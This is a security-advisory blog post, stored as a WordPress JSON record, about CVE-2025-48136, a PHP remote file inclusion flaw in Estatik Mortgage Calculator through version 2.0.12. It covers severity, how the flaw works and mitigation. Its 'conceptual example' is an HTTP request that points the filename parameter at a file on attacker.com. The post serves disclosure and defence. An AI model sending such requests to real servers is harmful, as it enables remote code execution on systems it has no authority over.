{"id":86387,"date":"2026-02-05T06:32:57","date_gmt":"2026-02-05T06:32:57","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-48136-high-risk-php-remote-file-inclusion-vulnerability-in-estatik-mortgage-calculator","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48136-high-risk-php-remote-file-inclusion-vulnerability-in-estatik-mortgage-calculator\/","title":{"rendered":"<strong>CVE-2025-48136: High-Risk PHP Remote File Inclusion Vulnerability in Estatik Mortgage Calculator<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-48136 vulnerability is a significant cybersecurity risk that affects Estatik Mortgage Calculator, a PHP-based application. This vulnerability is associated with the PHP Remote File Inclusion (&#8216;PHP RFI&#8217;), which is a major security concern for web applications. The vulnerability can lead to system compromise or data leakage, making it a critical issue that requires immediate attention.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-48136<br \/>\nSeverity: High (CVSS 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: System Compromise and Data Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3580465745\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Estatik Mortgage Calculator | All versions through 2.0.12<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-48136 exploit works by leveraging a flaw in the handling of filenames for include\/require statement in the PHP application. An attacker can manipulate the filename parameter in the PHP script to include a remote file. This opens the possibility for the attacker to execute arbitrary code on the server, leading to a potential system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2720088837\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited using an HTTP request to manipulate the &#8216;filename&#8217; parameter:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/Estatik_Mortgage_Calculator.php?filename=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the &#8216;filename&#8217; parameter is modified to include a remote file (&#8216;malicious_script.txt&#8217;) from an attacker-controlled server. This remote file may contain malicious PHP code that, when executed, can compromise the target system.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of Estatik Mortgage Calculator are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation to prevent potential attacks exploiting this vulnerability. Regular monitoring and updating of systems are also important in maintaining a secure environment.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-48136 vulnerability is a significant cybersecurity risk that affects Estatik Mortgage Calculator, a PHP-based application. This vulnerability is associated with the PHP Remote File Inclusion (&#8216;PHP RFI&#8217;), which is a major security concern for web applications. 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